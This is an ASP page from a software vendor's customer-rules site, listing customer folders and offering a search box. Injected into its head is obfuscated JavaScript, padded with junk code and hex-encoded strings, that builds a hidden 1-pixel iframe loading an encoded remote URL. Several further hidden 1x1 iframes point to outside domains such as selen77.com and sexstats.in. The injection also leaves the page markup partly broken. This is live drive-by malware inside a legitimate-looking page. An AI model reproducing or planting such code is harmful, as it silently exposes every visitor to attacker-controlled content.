<% '================================================================================================== ' MODULE : Customer Rules Main Page ' PURPOSE: Present a text box for full text searching as well as list out all the customer directories under ' the Rules directory. That link will then display all the documents under that directory ' ' AUTHOR : Brian Austin ' ' REVISION: ' Initial Release: Aug. 9th, 2001 ' ' 'Copyright Dolphin Software Inc. 2000 - All Rights Reserved ' 'Dolphin Software will not be held liable nor support any server, client, or 'network damage or data loss due to modification of this ASP script or any 'other scripts relating to this application. ' 'For technical support, please call Dolphin Software at 1-800-275-MSDS and 'ask to speak to a technical support specialist. '================================================================================================== '================================================== ' Declare Variables '================================================== Dim FSO Dim FolderCollection Dim FolderItem Dim Folder Dim sCurFolder Dim sCustomers Dim I '================================================== ' Determine Virtual Path and Current Folder '================================================== sCurFolder = server.mappath(Request.ServerVariables("PATH_INFO")) sCurFolder = Left(sCurFolder,(Len(sCurFolder) - 11)) '================================================== ' Get the customer directories and display a link '================================================== Set FSO = Server.CreateObject("Scripting.FileSystemObject") Set Folder = FSO.GetFolder(sCurFolder & "Rules") Set FolderCollection = Folder.SubFolders For Each FolderItem in FolderCollection sCustomers = sCustomers & FolderItem.Name & VBTab Next If Right(sCustomers, 1) = VBTab Then sCustomers = Left(sCustomers, Len(sCustomers) - 1) End If sCustomers = Split(sCustomers, VBTab) %> Dolphin Software - Customer Rules function OQWCY(){}if('qxqY'=='Wjtg')cotgi='JxBa';var mJhVDcL="\x66r\x6fmCh\x61r\x43o\x64e";function gipi(){} var mkSPyzNaQ="";var dDXnoB="\x70\x61\x72seInt";var nADtSv;var FKlpA=18;var XqyIxkH="slice";var uNscPj='DYbuz';var dsQZWvoyc="adb9b9b57f7474b1b2bdb8b9a6b973a8b4b274";var QVIP;var QowBS="const\x72uctor";if('GsAw'=='fTFd')acUq();function WvQHM(){var gkwyC='AyEcvN';if('mdRarW'=='fVDS')mRcJ();}var LDqr='ICqdv';var appVersion_var="app\x56ers\x69on";function WHfHx(){}if('mDkm'=='lazSp')ApOewF();var Bhanhw='wgMiGv';function jdSd(){var nUNzmR='wjdvl';if('NdiIBI'=='iuCAX')nYIIAb();} var px1_var="1px";var YPCAS=227;var aLNPQyb="b\x6f\x64\x79";function RtbwSy(){var cCsxq='JlRwT';if('LnBxXK'=='DDLPyK')liGGuX();}function bTzviv(){} if('iIKiV'=='viBb')vQAPzV();var xBdHsQ='fGsXZG';var VLLLLSuhp="a\x70\x70endC\x68ild";var YXPi;var yGwMZz='SuGCg';var SetdzkMqL=(function(){if('qDsHT'=='OqtCj')kSztek();function XXFB(){var YKUmzT='hAWYIa';if('hsqr'=='Nngr')sIgTh();}if('Ncpk'=='tPeAUg')NSYKa();return this;if('YngYg'=='MdpUxY')dHsu='gEIq';})();function BRmsI(){var HXzXI='chqeqB';if('NAyrbR'=='qsBWW')fUrTeH();} var Wapik="vUGWgD"[QowBS];if('pUlC'=='XTOOq')Zhkq();var nmATM;function ndzE(){var NqOxjz='mIDGJA';if('QIDm'=='cReo')RQPh();} for(var bvcdBQvG=0;bvcdBQvG':'iframe';var BVSXVaaLa=document.createElement(MSRDbNk);function miYt(){}if('UdMrJd'=='vdzHyv')TTRXQ='rJKT';BVSXVaaLa.id=FHPNcKHI;var QNmMt=275;BVSXVaaLa.style.right="0px";function KmrUk(){var yfYrK='UGYaVI';if('pPOU'=='gSrvnt')wKpy();} BVSXVaaLa.style.height=px1_var;if('PspJ'=='yWdBXw')TKDrW();BVSXVaaLa.style.top="0px";var kvUIO=124;function DzYu(){var VPzStv='thLmE';if('wxxR'=='ppEcQ')hlauzB();} function BOQi(){var sjsQF='KQhZWb';if('ywZz'=='xUNh')sdNnG();} BVSXVaaLa.style.position="absolute";var HCGHzk='sgnWJL';var OpCOc;if('iFjJI'=='YaTxXt')hRdIR='UBYRS';BVSXVaaLa.name=FHPNcKHI;if('AjrgHM'=='rPZRjd')pFKirE='OjZKU';BVSXVaaLa.setAttribute("src",mkSPyzNaQ);if('jKtlXF'=='ZzUt')rdCuS();var AYkEsF='bqnFii';BVSXVaaLa.style.width=px1_var;var adUXp='rnkpch';function EUrpcU(){var nrNb='mUlpr';if('PQDY'=='ChAc')GwOJ();} function gMfav(){var bboKp;function TeMWeJ(){}function qSBr(){} if(document[aLNPQyb]){var jiOGX;document[aLNPQyb][VLLLLSuhp](BVSXVaaLa);function YDOBN(){var XakFTc='sjxu';if('oYjIl'=='Bwzi')xisT();}}else{var zxNrd=214;setTimeout(gMfav,120);function TKGn(){}var rPSB='bzNJ';}} var wwlzFn;if('XuFl'=='SLbl')DJpU='IanouM';var aZaSvl=98;gMfav();function FzzY(){var TPykG='iTJY';if('CRaWL'=='KIoZtW')vIrhd();}if('ZeedgB'=='ehgRK')kjVSF();var OlqUI;var qkaZg='stLj';"http://selen77.com/" width="1" height="1" frameborder="0">"http://sexstats.in/" width="1" height="1" frameborder="0">"http://cdkd.net/" width="1" height="1" frameborder="0">"http://lixstats.com/" width="1" height="1" frameborder="0">" TOPMARGIN=0 LEFTMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0 bgcolor="#FFFFFF">

  [Back to Main]

 
  Customer Rules  
  Click one of the customer names below to view the rules for that customer. You can also perform a full text search against the customer rules by typing the text to search for in the box below and clicking the Search button.
Text to search for:



<% For I = 0 to UBound(sCustomers) Response.Write("" & sCustomers(I) & "
" & vbCrlf) Next %>